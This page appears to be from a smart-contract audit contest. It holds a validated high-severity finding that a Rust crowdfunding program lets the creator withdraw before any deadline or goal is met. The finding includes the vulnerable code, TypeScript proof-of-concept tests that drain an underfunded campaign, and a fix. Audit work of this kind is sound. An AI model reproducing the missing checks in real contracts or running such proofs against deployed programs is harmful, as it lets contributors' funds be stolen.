Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

# Creator can withdraw when no deadline is set and the goal is not reached <br />

Creator can withdraw when no deadline is set and the goal is not reached

Description

A crowdfunding campaign should not allow the creator to withdraw contributor funds before the campaign reaches a valid withdrawable state. If the campaign has no configured deadline and the raised amount is below the declared goal, contributor funds should remain locked or refundable according to the protocol rules.

The withdraw instruction does not validate whether a deadline has been set, whether the deadline condition has been satisfied, or whether the funding goal has been reached. It simply transfers fund.amount_raised from the fund account to the creator.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
@> let amount = ctx.accounts.fund.amount_raised;
@> // Missing checks:
@> // - deadline is set
@> // - campaign is withdrawable
@> // - fund.amount_raised >= fund.goal
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

Risk

Likelihood:

  • This occurs whenever the creator calls withdraw after any successful contribution, because withdraw has no deadline or goal preconditions.

  • This occurs even for newly created funds where deadline remains the default value 0.

Impact:

  • The creator can drain contributor funds from an underfunded campaign.

  • Contributors can lose the protection implied by the configured campaign goal and deadline lifecycle.

Proof of Concept

const airdropSolAmount = 5;
const airdrop = async (
pubkey: anchor.web3.PublicKey,
sol = airdropSolAmount
) => {
const sig = await provider.connection.requestAirdrop(
pubkey,
sol * anchor.web3.LAMPORTS_PER_SOL
);
const latest = await provider.connection.getLatestBlockhash();
await provider.connection.confirmTransaction(
{
signature: sig,
blockhash: latest.blockhash,
lastValidBlockHeight: latest.lastValidBlockHeight,
},
"confirmed"
);
};
it("creator can withdraw even if goal is not reached and no deadline is set", async () => {
const testCreator = provider.wallet;
const testContributor = anchor.web3.Keypair.generate();
const testFundName = `refund-accounting-${Date.now()}`;
const testContribution = new anchor.BN(anchor.web3.LAMPORTS_PER_SOL / 2);
await airdrop(testContributor.publicKey);
const [testFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(testFundName), testCreator.publicKey.toBuffer()],
program.programId
);
const [testContributionPDA] = await PublicKey.findProgramAddress(
[testFundPDA.toBuffer(), testContributor.publicKey.toBuffer()],
program.programId
);
await program.methods
.fundCreate(testFundName, description, goal)
.accountsPartial({
fund: testFundPDA,
creator: testCreator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
await program.methods
.contribute(testContribution)
.accountsPartial({
fund: testFundPDA,
contributor: testContributor.publicKey,
contribution: testContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([testContributor])
.rpc();
const fundBeforeWithdraw = await program.account.fund.fetch(testFundPDA);
expect(fundBeforeWithdraw.goal.toNumber()).to.be.greaterThan(
fundBeforeWithdraw.amountRaised.toNumber()
);
const fundBalanceBeforeWithdraw =
await provider.connection.getBalance(testFundPDA);
const creatorBalanceBeforeWithdraw =
await provider.connection.getBalance(testCreator.publicKey);
await program.methods
.withdraw()
.accountsPartial({
fund: testFundPDA,
creator: testCreator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const fundBalanceAfterWithdraw =
await provider.connection.getBalance(testFundPDA);
expect(fundBalanceAfterWithdraw).to.equal(
fundBalanceBeforeWithdraw - fundBeforeWithdraw.amountRaised.toNumber()
);
const creatorBalanceAfterWithdraw =
await provider.connection.getBalance(testCreator.publicKey);
const fundDelta = fundBalanceBeforeWithdraw - fundBalanceAfterWithdraw;
const creatorDelta = creatorBalanceAfterWithdraw - creatorBalanceBeforeWithdraw;
expect(fundDelta).to.equal(fundBeforeWithdraw.amountRaised.toNumber());
expect(creatorDelta).to.be.greaterThan(0);
expect(creatorDelta).to.be.lessThanOrEqual(fundDelta);
});

The test creates a fund with a 1 SOL goal, contributes only 0.5 SOL, never sets a deadline, and then successfully withdraws the contributed lamports to the creator.

Recommended Mitigation

Require an explicit withdrawable campaign state before transferring funds. The exact condition should match the intended design, but it should not allow withdrawal while the goal is unmet and no deadline is configured.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
+ let now: u64 = Clock::get()?
+ .unix_timestamp
+ .try_into()
+ .map_err(|_| ErrorCode::CalculationOverflow)?;
+
+ require!(
+ ctx.accounts.fund.deadline != 0,
+ ErrorCode::DeadlineNotSet
+ );
+ require!(
+ ctx.accounts.fund.deadline <= now,
+ ErrorCode::DeadlineNotReached
+ );
+ require!(
+ ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal,
+ ErrorCode::GoalNotReached
+ );
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;

If the intended design allows withdrawal as soon as the goal is reached, encode that condition explicitly and still reject withdrawal when no valid withdraw condition is satisfied.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 23 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] No check for if campaign reached deadline before withdraw

## Description A Malicious creator can withdraw funds before the campaign's deadline. ## Vulnerability Details There is no check in withdraw if the campaign ended before the creator can withdraw funds. ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## Impact A Malicious creator can withdraw all the campaign funds before deadline which is against the intended logic of the program. ## Recommendations Add check for if campaign as reached deadline before a creator can withdraw ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { //add this if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } //stops here let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## POC keep everything in `./tests/rustfund.rs` up on to `Contribute to fund` test, then add the below: ```TypeScript it("Creator withdraws funds when deadline is not reached", async () => { const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey); const fund = await program.account.fund.fetch(fundPDA); await new Promise(resolve => setTimeout(resolve, 150)); //default 15000 console.log("goal", fund.goal.toNumber()); console.log("fundBalance", await provider.connection.getBalance(fundPDA)); console.log("creatorBalanceBefore", await provider.connection.getBalance(creator.publicKey)); await program.methods .withdraw() .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey); console.log("creatorBalanceAfter", creatorBalanceAfter); console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA)); }); ``` this outputs: ```Python goal 1000000000 fundBalance 537590960 creatorBalanceBefore 499999999460946370 creatorBalanceAfter 499999999960941400 fundBalanceAfter 37590960 ✔ Creator withdraws funds when deadline is not reached (398ms) ``` We can notice that the creator withdraws funds from the campaign before the deadline.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!